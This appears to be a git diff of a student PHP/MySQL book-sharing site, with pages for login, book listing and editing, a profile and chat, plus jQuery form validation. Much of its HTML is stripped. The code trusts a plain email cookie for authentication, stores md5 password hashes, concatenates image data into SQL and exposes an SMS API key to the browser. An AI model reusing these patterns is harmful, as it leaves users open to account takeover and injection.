+.jobdetails{ + color: black; +} +.pricediv{ + display: none; +} + +#apply-btn:hover{ + background-color: white; + color: red; +} +.know-more-btn{ + border: none; + background-color: white; + font-weight: bold; + color: #008BDC; +} +.know-more-btn:hover{ + background-color: white; + color: red; +} +.micro-job{ + width: fit-content; + padding: 7px; + border: 1px solid #186fc9; + border-radius: 50px; + color: #186fc9; + background-color: #f1f7fc; + font-weight: bold; +} +.micro-job2{ + width: fit-content; + padding: 7px; + border: 1px solid #186fc9; + border-radius: 50px; + color: #186fc9; + background-color: #f1f7fc; + font-weight: bold; + animation: animateactive 1.5s infinite; +} +.internship{ + width: fit-content; + padding: 7px; + border: 1px solid #53b427; + border-radius: 50px; + color: #53b427; + background-color: #f5fbf2; + font-weight: bold; +} +.part-time-job{ + width: fit-content; + padding: 7px; + border: 1px solid #dc0c28; + border-radius: 50px; + color: #dc0c28; + background-color: #fdf2f3; + font-weight: bold; +} + +.m_uname{ + width: fit-content; + padding: 7px; + border: 1px solid #313a46; + border-radius: 50px; + color: #313a46; + background-color: #f1f6fc; + font-weight: bold; +} +.dropdownactive{ + background-color: white; + color: black; +} +.form-control:focus{ + border-color: grey; + box-shadow: 0 0 0 0.2rem rgba(128, 120, 128, 0.25); +} +.form-select:focus{ + border-color: grey; + box-shadow: 0 0 0 0.2rem rgba(128, 120, 128, 0.25); +} +.fragment-nav-link{ + color: black; +} +.fragment-nav-link:hover{ + background-color: #3d4755; + color: white; +} +.single-view-admin{ + box-shadow: 2px 2px 5px 2px grey; + padding: 20px; + border-radius: 10px; +} +#confirm:hover{ + background-color: white; + color: red; +} +#uploadbtn:hover{ + background-color: white; + color: red; +} + +.custom-button-success:hover{ + background: transparent; +} +.hover-success:hover{ + color: green; + background: transparent; +} +.hover-secondary{ + color: grey; + background: transparent; +} +.chat-bod-pc{ + width: 30%; + border: 1px solid rgb(226, 226, 226); +} + +.chat-bod-mob{ + display: none; +} +.recived-message-div{ + text-align: left; +} +.recived-message{ + text-align: left; + color: black; + /* background-color: #313a46; */ +} +.send-message{ + text-align: right; + color: black; +} +.topbar{ + background-color: #313a46; + color: white; + font-size: 25px; + padding: 5px; +} +.back-btn{ + text-decoration: none; + color: white; +} +.back-btn:hover{ + color: white; +} +/* Large devices (desktops, 992px and up) */ +@media (min-width: 992px) { + .single-view{ + width: 40vw; + } + .chat-bod-pc{ + display: block; + } + .chat-bod-mob{ + display: none; + } +} +/* X-Large devices (large desktops, 1200px and up) */ +@media (min-width: 1200px) { + .single-view{ + width: 40vw; + } + .chat-bod-pc{ + display: block; + } + .chat-bod-mob{ + display: none; + } +} + +/* XX-Large devices (larger desktops, 1400px and up) */ +@media (min-width: 1400px) { + .single-view{ + width: 40vw; + } + .chat-bod-pc{ + display: block; + } + .chat-bod-mob{ + display: none; + } +} + +/* `sm` applies to x-small devices (portrait phones, less than 576px) */ +@media (max-width: 575.98px) { + .chat-bod-pc{ + display: none; + } + .chat-bod-mob{ + display: block; + width: 90%; + } + .micro-job,.internship,.part-time-job,.know-more-btn,.jobdetails{ + font-size: 10px + } + .jobtitle{ + font-size: 14px; + } + .fragment-nav-link{ + font-size: 12px; + } + .fragment-nav-link:hover{ + font-size: 13px; + } +} +@keyframes animateactive { + 0% { + color: #186fc9; + } + 50% { + color: red; + } + 100% { + color: #186fc9; + } +} diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/dashboard.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/dashboard.php new file mode 100644 index 00000000..70f920a4 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/dashboard.php @@ -0,0 +1,201 @@ +prepare('DELETE FROM `books` WHERE `book_id` = ?'); + $query->bind_param("i", $_POST['deletereq']); + if($query->execute()){ + header('Location: dashboard.php'); + } + else{ + $msg = ''; + } + } +?> + + + + + + + + + + + + + + + + + + + + + Dashboard + + + + + +




+ +
+
+
+
+ +
+
+
+
+
+
+ +
+
+
+
+ +

+
+ prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + + $querydashboard = $link->prepare("SELECT * FROM `books` WHERE `user_id` = ?"); + $querydashboard -> bind_param("i",$uid); + + $idnum = 0; + if ($querydashboard->execute()) { + $res = $querydashboard->get_result(); + + if (mysqli_num_rows($res) > 0) { + + while ($books = mysqli_fetch_array($res)) { + $idnum++; + ?> +
+ +
+
+ + +
+
+

+
+
+
+ +

+ +

+ +
+
+ +

For Donation

+ +

Rs:

+ + +
+ +
+
+
+ +
+
+
+
+
+
+
+
+

Description:

+

+

Author:

+

+ +
+
+ +
+

Conditon:

+

+ +
+
+

Keywords:

+

+ +
+

+
+
+ + +
+
+
+
+
+
+ +
+ +
+ +
+
+ + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/headermenu.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/headermenu.php new file mode 100644 index 00000000..c7c1ad42 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/headermenu.php @@ -0,0 +1,70 @@ + + + + diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/index.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/index.php new file mode 100644 index 00000000..136e4de1 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/index.php @@ -0,0 +1,412 @@ +prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + if($_POST['useridchat'] != $uid){ + setcookie("sender_id", $_POST['useridchat'], time() + 60*60*24); + header('Location: chat.php'); + } + } + +?> + + + + + + + + + + + + + + + + + + + + + + + Books + + + + +




+ +
+ + +
+
+
+
+
+ + +
+
+
+ + + + + + + +
+
+ + +
+
+ +

+
+ prepare("SELECT * FROM `books` WHERE `book_title` = ? OR `book_author` = ?"); + $querysearch -> bind_param("ss",$_POST['searchtxt'],$_POST['searchtxt']); + $idnum = 0; + if ($querysearch->execute()) { + $querysearchres = $querysearch->get_result(); + + if (mysqli_num_rows($querysearchres) > 0) { + + while ($searched = mysqli_fetch_array($querysearchres)) { + $idnum++; + ?> +
+ +
+
+ + +
+
+

+
+
+
+ +

+ +

+ + +
+
+ +

For Donation

+ +

Rs:

+ + +
+ +
+
+
+
+ +
+
+
+ +
+
+
+
+
+

Description:

+

+

Author:

+

+ +
+
+ +
+

Conditon:

+

+ +
+
+

Keywords:

+

+ +
+

+
+
+ + prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + if($searched['user_id'] == $uid){ + ?> + + + + + +
+
+
+
+
+
+ +
+ +
+ +
+ +
+ prepare('SELECT * FROM `books`'); + $idnum = 0; + if ($querydisp->execute()) { + $querydispresres = $querydisp->get_result(); + + if (mysqli_num_rows($querydispresres) > 0) { + + while ($books = mysqli_fetch_array($querydispresres)) { + $idnum++; + ?> +
+ +
+
+ + +
+
+

+
+
+
+ +

+ +

+ + +
+
+ +

For Donation

+ +

€:

+ +
+ +
+
+
+
+ +
+
+
+ +
+
+
+
+
+

Description:

+

+

Author:

+

+ +
+
+ +
+

Conditon:

+

+ +
+
+

Keywords:

+

+ +
+

+
+
+ + prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + if($books['user_id'] == $uid){ + ?> + + + + + +
+
+
+
+
+
+ +
+ +
+ +
+ +
+ + + +
+ +
+ + + + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/authprocessing.js b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/authprocessing.js new file mode 100644 index 00000000..1cd40643 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/authprocessing.js @@ -0,0 +1,319 @@ +$( document ).ready(function() { + $(".otp-bod").hide() + $(".otp-bodni").hide() + $(".reg-bod").fadeIn("slow") + +}); +var g_mobilenumber = ""; +var g_email = ""; +var phnopatt = /^(\+\d{1,3}[- ]?)?\d{10}$/ +// $("#repassword-input-reg").click(function(){ +// $(".showpass").show() +// }) +// $("#password-input-reg").click(function(){ +// $(".showpass").show() +// }) + +$("#login-btn").click(function(){ + var email,pass; + email = $("#email-input-login").val() + pass = $("#password-input-login").val() + var mailpatt = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + + if(email.trim() == ""){ + + $("#email-input-login").addClass("is-invalid") + $("#password-input-login").removeClass("is-invalid") + + $(".log-msg").html('') + } + // else if(!mailpatt.test(email)){ + + // $("#email-input-login").addClass("is-invalid") + // $("#password-input-login").removeClass("is-invalid") + + // $(".log-msg").html('') + // } + else if(pass.trim() == ""){ + + $("#email-input-login").removeClass("is-invalid") + $("#password-input-login").addClass("is-invalid") + + $(".log-msg").html('') + } + else{ + // login + $( "#login-form" ).submit(); + + + } +}) +$("#email-input-login").click(function(){ + $(".showpaslogin").hide() +}) +$("#password-input-login").click(function(){ + $(".showpaslogin").show() +}) + +var input = document.querySelector("#mobile-input-reg"); +var iti = window.intlTelInput(input, { + initialCountry: "in", + separateDialCode: true, + preferredCountries: ["in"], + utilsScript: "https://cdn.jsdelivr.net/npm/intl-tel-input@16.0.3/build/js/utils.js", +}); + +// console.log(iti.isValidNumber()); + +$("#reg-btn").click(function(){ + var mobilenumber,email,pass,repass,fname; + + fname = $("#fname-input-reg").val() + mobilenumber = $("#mobile-input-reg").val() + email = $("#email-input-reg").val() + pass = $("#password-input-reg").val() + repass = $("#repassword-input-reg").val() + g_mobilenumber = mobilenumber; + g_email = email; + var mailpatt = /^(([^<>()[\]\\.,;:\s@"]+(\.[^<>()[\]\\.,;:\s@"]+)*)|(".+"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + + // Minimum eight characters, at least one uppercase letter, one lowercase letter, one number and one special character: + var passpatt = /^(?=.*[a-z])(?=.*[A-Z])(?=.*\d)(?=.*[@$!%*?&])[A-Za-z\d@$!%*?&]{8,}$/ + // if(!phnopatt.test(mobilenumber)){ + // $(".reg-msg").html('') + // alert('Not India') + // } + + if(mobilenumber.trim() == ""){ + + $("#mobile-input-reg").addClass("is-invalid") + $("#email-input-reg").removeClass("is-invalid") + $("#password-input-reg").removeClass("is-invalid") + $("#repassword-input-reg").removeClass("is-invalid") + $(".reg-msg").html('') + } + else if(!iti.isValidNumber()){ + + $("#mobile-input-reg").addClass("is-invalid") + $("#email-input-reg").removeClass("is-invalid") + $("#password-input-reg").removeClass("is-invalid") + $("#repassword-input-reg").removeClass("is-invalid") + $(".reg-msg").html('') + } + else if(email.trim() == ""){ + + $("#mobile-input-reg").removeClass("is-invalid") + $("#email-input-reg").addClass("is-invalid") + $("#password-input-reg").removeClass("is-invalid") + $("#repassword-input-reg").removeClass("is-invalid") + $(".reg-msg").html('') + } + else if(!mailpatt.test(email)){ + + $("#mobile-input-reg").removeClass("is-invalid") + $("#email-input-reg").addClass("is-invalid") + $("#password-input-reg").removeClass("is-invalid") + $("#repassword-input-reg").removeClass("is-invalid") + $(".reg-msg").html('') + } + else if(pass.trim() == ""){ + + $("#mobile-input-reg").removeClass("is-invalid") + $("#email-input-reg").removeClass("is-invalid") + $("#password-input-reg").addClass("is-invalid") + $("#repassword-input-reg").removeClass("is-invalid") + $(".reg-msg").html('') + } + else if(!passpatt.test(pass)){ + + $("#mobile-input-reg").removeClass("is-invalid") + $("#email-input-reg").removeClass("is-invalid") + $("#password-input-reg").addClass("is-invalid") + $("#repassword-input-reg").removeClass("is-invalid") + $(".reg-msg").html('') + } + else if(repass.trim() == ""){ + + $("#mobile-input-reg").removeClass("is-invalid") + $("#email-input-reg").removeClass("is-invalid") + $("#password-input-reg").removeClass("is-invalid") + $("#repassword-input-reg").addClass("is-invalid") + $(".reg-msg").html('') + } + else if(pass != repass){ + + $("#mobile-input-reg").removeClass("is-invalid") + $("#email-input-reg").removeClass("is-invalid") + $("#password-input-reg").removeClass("is-invalid") + $("#repassword-input-reg").addClass("is-invalid") + $(".reg-msg").html('') + } + else{ + + $("#signin-form").submit() + + + } + +}); + +function onSuccessLog(){ + + email = $("#email-input-login").val("") + pass = $("#password-input-login").val("") + + $("#email-input-login").removeClass("is-invalid") + $("#password-input-login").removeClass("is-invalid") + +} + +function onSuccessReg(){ + fname = $("#fname-input-reg").val("") + lname = $("#lname-input-reg").val("") + city = $("#city-input-reg").val("") + country = $("#country-input-reg").val("") + mobilenumber = $("#mobile-input-reg").val("") + email = $("#email-input-reg").val("") + pass = $("#password-input-reg").val("") + repass = $("#repassword-input-reg").val("") + $("#fname-input-reg").removeClass("is-invalid") + $("#lname-input-reg").removeClass("is-invalid") + $("#city-input-reg").removeClass("is-invalid") + $("#country-input-reg").removeClass("is-invalid") + $("#mobile-input-reg").removeClass("is-invalid") + $("#email-input-reg").removeClass("is-invalid") + $("#password-input-reg").removeClass("is-invalid") + $("#repassword-input-reg").removeClass("is-invalid") + +} + +function showPassword() { + var x = document.getElementById("password-input-login"); + if (x.type === "password") { + x.type = "text"; + $("#showpass").toggleClass("fa-eye fa-eye-slash"); + } else { + x.type = "password"; + $("#showpass").toggleClass("fa-eye fa-eye-slash"); + } +} +function showPasswordReg() { + var x = document.getElementById("password-input-reg"); + var y = document.getElementById("repassword-input-reg"); + if (x.type === "password" && y.type === "password") { + + $(".showpass").toggleClass("fa-eye fa-eye-slash"); + x.type = "text"; + y.type = "text" + } else { + + $(".showpass").toggleClass("fa-eye fa-eye-slash"); + x.type = "password"; + y.type = "password"; + } +} + +$("#password-input-reg").focusin(function(){ + $(this).popover({ + trigger: 'focus', + content: "
  • At Least One Uppercase Letter
  • At Least One Lowercase Letter
  • Between 8-15 Characters
  • At Least One Number
  • At Least One Special Character
    &, @, $, %, #, *, _
", + html: true, + placement: 'right' + }); +}); +$("#repassword-input-reg").focusin(function(){ + $(this).popover({ + trigger: 'focus', + content: "
  • At Least One Uppercase Letter
  • At Least One Lowercase Letter
  • Between 8-15 Characters
  • At Least One Number
  • At Least One Special Character
    &, @, $, %, #, *, _
", + html: true, + placement: 'right' + }); +}); + +function goBack(){ + $(".otp-bod").hide() + $(".reg-bod").fadeIn("slow") +} + +// $("#email-input-reg").bind('input propertychange',function(){ + +// }); + +$("#verify-otp-btn").click(function(){ + var code =$("#otp-input-reg").val(); + var req = "req"; + $.ajax({ + type: 'POST', + url: 'getsitedata.php', + data: {req : req}, + dataType: 'json', + success: function(site_data){ + + $.ajax({ //Validating OTP + type: 'POST', + url: 'https://www.smsalert.co.in/api/mverify.json?apikey='+site_data.sms_api_key+'&mobileno='+g_mobilenumber+'&code='+code+'', + dataType: 'json', + success: function(data_validate){ + + if(data_validate.description.desc == "Code does not match."){ + $(".otp-msg").html('') + // alert(data_validate.status) + + } + else{ + //Submit Form + $("#signin-form").submit() + + } + + }, + error: function(xhr, type){ + alert("Error") + $(".otp-msg").html('') + //alert("Error in Ajax") + //$(".msgdiv").html('') + } + }) + + + }, + error: function(xhr, type){ + $(".otp-msg").html('') + //alert("Error in Ajax") + //$(".msgdiv").html('') + } + }) +}) + +$("#verify-otp-onmail-btn").click(function(){ + + var otp = $("#otp-email-input-reg").val() + + $.ajax({ //Validating OTP + type: 'POST', + data: {email : g_email, otp: otp}, + url: 'validateemailotp.php', + dataType: 'json', + success: function(data_validate_otp){ + + if(data_validate_otp.result == "-1"){ + $(".otp-e-msg").html('') + // alert(data_validate.status) + + } + else{ + //Submit Form + $("#signin-form").submit() + + } + + }, + error: function(xhr, type){ + $(".otp-e-msg").html('') + //alert("Error in Ajax") + //$(".msgdiv").html('') + } + }) +}) \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/bookprocessing.js b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/bookprocessing.js new file mode 100644 index 00000000..1ce8c857 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/bookprocessing.js @@ -0,0 +1,128 @@ + +var val; + +var img = $("#thumbnail").change(function (event) { + + if(this.files[0].size > 2097152){ + $("#thumbnail").addClass("is-invalid"); + $(".msg").html( + '' + ); + img.val(''); + } + else{ + $("#thumbnail").removeClass("is-invalid"); + $(".msg").html(''); + + var reader = new FileReader(); + reader.onload = function () { + $("#JobProfileImage").attr("src", reader.result); + }; + reader.readAsDataURL(event.target.files[0]); + } + +}); + +function priceToggle(){ + val = $("#myselect").val() + if( val == "1"){ + $(".pricediv").hide() + } + else{ + $(".pricediv").show() + + } +} + +function priceToggle2(){ + val = $("#myselect").val() + if( val == "1"){ + $(".divs").hide() + } + else{ + $(".divs").show() + + } +} + + +$("#uploadbtn").click(function(){ + var thumb, bookname, price, description,bookauthor,keywords; + + thumb = $("#thumbnail").val() + bookname = $("#bookname").val() + if(val == "1"){ + price = $("#price").val() + } + else{ + price = "0" + } + + description = $("#decs").val() + bookauthor = $("#author").val() + keywords = $("#keywords").val() + + if(thumb == ""){ + $("#thumbnail").addClass("is-invalid") + $("#bookname").removeClass("is-invalid") + $("#status").removeClass("is-invalid") + $("#price").removeClass("is-invalid") + $("#decs").removeClass("is-invalid") + $("#author").removeClass("is-invalid") + $("#keywords").removeClass("is-invalid") + $(".msg").html('') + } + else if(bookname.trim() == ""){ + $("#thumbnail").removeClass("is-invalid") + $("#bookname").addClass("is-invalid") + $("#status").removeClass("is-invalid") + $("#price").removeClass("is-invalid") + $("#decs").removeClass("is-invalid") + $("#author").removeClass("is-invalid") + $("#keywords").removeClass("is-invalid") + $(".msg").html('') + } + else if(price.trim() == ""){ + $("#thumbnail").removeClass("is-invalid") + $("#bookname").removeClass("is-invalid") + $("#status").removeClass("is-invalid") + $("#price").addClass("is-invalid") + $("#decs").removeClass("is-invalid") + $("#author").removeClass("is-invalid") + $("#keywords").removeClass("is-invalid") + $(".msg").html('') + } + else if(description.trim() == ""){ + $("#thumbnail").removeClass("is-invalid") + $("#bookname").removeClass("is-invalid") + $("#status").removeClass("is-invalid") + $("#price").removeClass("is-invalid") + $("#decs").addClass("is-invalid") + $("#author").removeClass("is-invalid") + $("#keywords").removeClass("is-invalid") + $(".msg").html('') + } + else if(bookauthor.trim() == ""){ + $("#thumbnail").removeClass("is-invalid") + $("#bookname").removeClass("is-invalid") + $("#status").removeClass("is-invalid") + $("#price").removeClass("is-invalid") + $("#decs").removeClass("is-invalid") + $("#author").addClass("is-invalid") + $("#keywords").removeClass("is-invalid") + $(".msg").html('') + } + else if(keywords.trim() == ""){ + $("#thumbnail").removeClass("is-invalid") + $("#bookname").removeClass("is-invalid") + $("#status").removeClass("is-invalid") + $("#price").removeClass("is-invalid") + $("#decs").removeClass("is-invalid") + $("#author").removeClass("is-invalid") + $("#keywords").addClass("is-invalid") + $(".msg").html('') + } + else{ + $("#uploadbooks").submit() + } +}) \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/chat.js b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/chat.js new file mode 100644 index 00000000..39361928 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/chat.js @@ -0,0 +1,65 @@ +$("#sendp").click(function(){ + var message = $("#messp").val() + if(message.trim() != ""){ + $.ajax({ + type: 'POST', + url: 'sendmessage.php', + // data to be added to query string: + data: {message: message}, + // type of data we are expecting in return: + dataType: 'json', + timeout: 300, + context: $('body'), + success: function(data){ + if(data.result == "1"){ + location.reload(); + // $.ajax({ + // type: 'POST', + // url: 'updateui.php', + // // data to be added to query string: + // data: {message: message}, + // // type of data we are expecting in return: + // dataType: 'json', + // timeout: 300, + // context: $('body'), + // success: function(data){ + // if(data){ + // alert(data.result.message) + // } + // else{ + // alert("SOmthing Went Wrong") + // } + + // }, + // error: function(xhr, type){ + // alert("Ajax error") + // //$(".msgdiv").html('') + // } + // }) + } + else{ + alert("Somthing Went Wrong") + } + + }, + error: function(xhr, type){ + alert("Ajax error") + //$(".msgdiv").html('') + } + }) + } + +}) + + +setTimeout(function(){ + var message = $("#messp").val() + if(message.trim() == ""){ + location.reload(); + } + +}, 3000); + +$("#sendm").click(function(){ + +}) diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/search.js b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/search.js new file mode 100644 index 00000000..08dd7776 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/js/search.js @@ -0,0 +1,7 @@ +$("#search").click(function(){ + + var search = $("#searchtxt").val() + if(search.trim() != ""){ + $("#searchform").submit() + } +}) \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/login.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/login.php new file mode 100644 index 00000000..937f95b8 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/login.php @@ -0,0 +1,148 @@ +Oops! Please Enter Your E-Mail ID
'; + } + + else if(empty($_POST["password"])){ + $msg = ''; + } + + else{ + + $email = $_POST["email"]; + $password = md5($_POST["password"]); + + + $query = $link->prepare('SELECT * FROM `users` WHERE `email` = (?) OR `mobile_number` = ?'); + + $query -> bind_param("ss", $email,$email); + + + if($query->execute()){ + //If Query has A Result + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + + if($row == null){ + $msg = ''; + } + else{ + if($row['email'] == $email || $row['mobile_number'] == $email){ + //If Username Match + if($row['password'] == $password){ + + setcookie("email", $row['email'], time() + 60*60*24); + + //If Username And Password Matches + $msg = ''; + header("Location: index.php"); + + } + else{ + //invalid Password + $msg = ''; + } + } + else{ + $msg = ''; + //Invalid Username + } + } + + } + else{ + $msg = ''; + + } + } + $query -> close(); + $link -> close(); + + } + +?> + + + + + + + + + + + + + + + + + + + + + + + + + + Login + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/logo.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/logo.php new file mode 100644 index 00000000..a56c73b1 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/logo.php @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/logout.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/logout.php new file mode 100644 index 00000000..7d3c607f --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/logout.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/manage.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/manage.php new file mode 100644 index 00000000..730ee484 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/manage.php @@ -0,0 +1,291 @@ +prepare("SELECT * FROM `books` WHERE `book_id` = ?"); + $querymanage -> bind_param("i",$_COOKIE['___manage__req']); + $querymanage->execute(); + $res = $querymanage->get_result(); + $row = mysqli_fetch_array($res); + if($_POST['keywords']){ + + $query = $link->prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + + $bookname = $_POST['bookname']; + $status = $_POST['status']; + $price = $_POST['price']; + $desc =$_POST['decs']; + $author = $_POST['author']; + $condition = $_POST['condition']; + $keywords = $_POST['keywords']; + // echo $uid; + // echo $bookname; + // echo $status; + // echo $price; + // echo $desc; + // echo $author; + // echo $condition; + // echo $keywords; + // print_r($_FILES['thumbnail']); + $image = addslashes(file_get_contents($_FILES['thumbnail']['tmp_name'])); + + $querymanage = $link->prepare('UPDATE `books` SET `book_title` = ?, `image` = "' . $image . '" , `availability` = ?, `price` = ?, `description` = ?, `book_author` = ?, `book_condition` = ?, `keywords` = ? WHERE `book_id` = ?'); + + $querymanage->bind_param("ssssssss",$bookname,$status,$price,$desc,$author,$condition,$keywords,$_COOKIE['___manage__req']); + + if ($querymanage->execute()) { + header("Location: dashboard.php"); + $msg = ''; + } + else { + $msg = ''; + } + + } +?> + + + + + + + + + + + + + + + + + + + + + + + Dashboard + + + + + +




+
+ + +
+
+
+ +
+
+
+
+
+
+
+
+
+
+
+ +
+
+ +
+
+
+
+

Thumbnail:

+ Thumbnail
+ +
+
+
+ + +
+
+
+
+

Status:

+
+ +
+ +
+
+

Price in Rs:

+ +
+ + +
+ +
+ + +
+ + +
+ +
+
+
+
+ +
+
+
+ +
+
+
+
+
+

Description:

+
+ + +
+

Author:

+
+ + +
+
+
+ +
+

Conditon:

+ +
+ + +
+
+ + +
+ +
+ + +
+
+ + +
+ + + +
+
+

Keywords:

+
+ + +
+
+

+
+ + + +
+
+
+
+ +
+ +
+ + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/my.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/my.php new file mode 100644 index 00000000..c64f9541 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/my.php @@ -0,0 +1,29 @@ + + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/profile.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/profile.php new file mode 100644 index 00000000..bb505d4a --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/profile.php @@ -0,0 +1,155 @@ +prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $uid = $row['user_id']; + + // $bookname = $_POST['bookname']; + // $status = $_POST['status']; + // $price = $_POST['price']; + // $desc =$_POST['decs']; + // $author = $_POST['author']; + // $condition = $_POST['condition']; + // $keywords = $_POST['keywords']; + + // $name = $_FILES['thumbnail']['name']; + // $type = $_FILES['thumbnail']['type']; + // $image = addslashes(file_get_contents($_FILES['image']['tmp_name'])); + // echo $uid; + // echo $bookname; + // echo $status; + // echo $price; + // echo $desc; + // echo $author; + // echo $condition; + // echo $keywords; + // print_r($_FILES['thumbnail']); + // $image = addslashes(file_get_contents($_FILES['thumbnail']['tmp_name'])); + + // $queryupload = $link->prepare('INSERT INTO `books` (`user_id`, `book_title`, `image`, `availability`, `price`, `description`, `book_author`, `book_condition`, `keywords`) VALUES (?,?,"' . $image . '",?,?,?,?,?,?)'); + + // $queryupload->bind_param("isssssss",$uid,$bookname,$status,$price,$desc,$author,$condition,$keywords); + + // if ($queryupload->execute()) { + // header("Location: dashboard.php"); + // $msg = ''; + // } + // else { + // $msg = ''; + // } + + // } +?> + + + + + + + + + + + + + + + + + + + + User Profile Information + + + +




+
+ + + +
+
+
+ +
+
+
+ +
+ +
+
+ +
+
+
+ + +
+ +
+
+ Name : +
+
+ Email: +
+
+ Phone Number: +
+ + +
+ +
+
+ +
+ +
+ +
+ + + + + + + \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/sendmessage.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/sendmessage.php new file mode 100644 index 00000000..5b5b57ae --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/sendmessage.php @@ -0,0 +1,31 @@ +prepare('SELECT * FROM `users` WHERE `email` = (?)'); + $query -> bind_param("s", $_COOKIE['email']); + $query->execute(); + $res = $query->get_result(); + $row = mysqli_fetch_array($res); + $senderid = $row['user_id']; + + $reciverid = $_COOKIE['sender_id']; + date_default_timezone_set('Asia/Kolkata'); + $time = date("h:i:sa"); + $message = $_REQUEST['message']; + + + + $query_update_chat = $link->prepare('INSERT INTO `chat` (`sender_id`,`reciver_id`,`time`,`message`) VALUES (?,?,?,?)'); + $query_update_chat->bind_param("iiss",$senderid,$reciverid,$time,$message); + if($query_update_chat->execute()){ + $callback["result"] = "1"; + } + else{ + $callback["result"] = "-1"; + } + echo json_encode($callback); + } + +?> \ No newline at end of file diff --git a/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/showimg.php b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/showimg.php new file mode 100644 index 00000000..22f7f8b1 --- /dev/null +++ b/SYSTEM MANAGEMENT APPS/Bookstore management/MiniProject/MiniProject/showimg.php 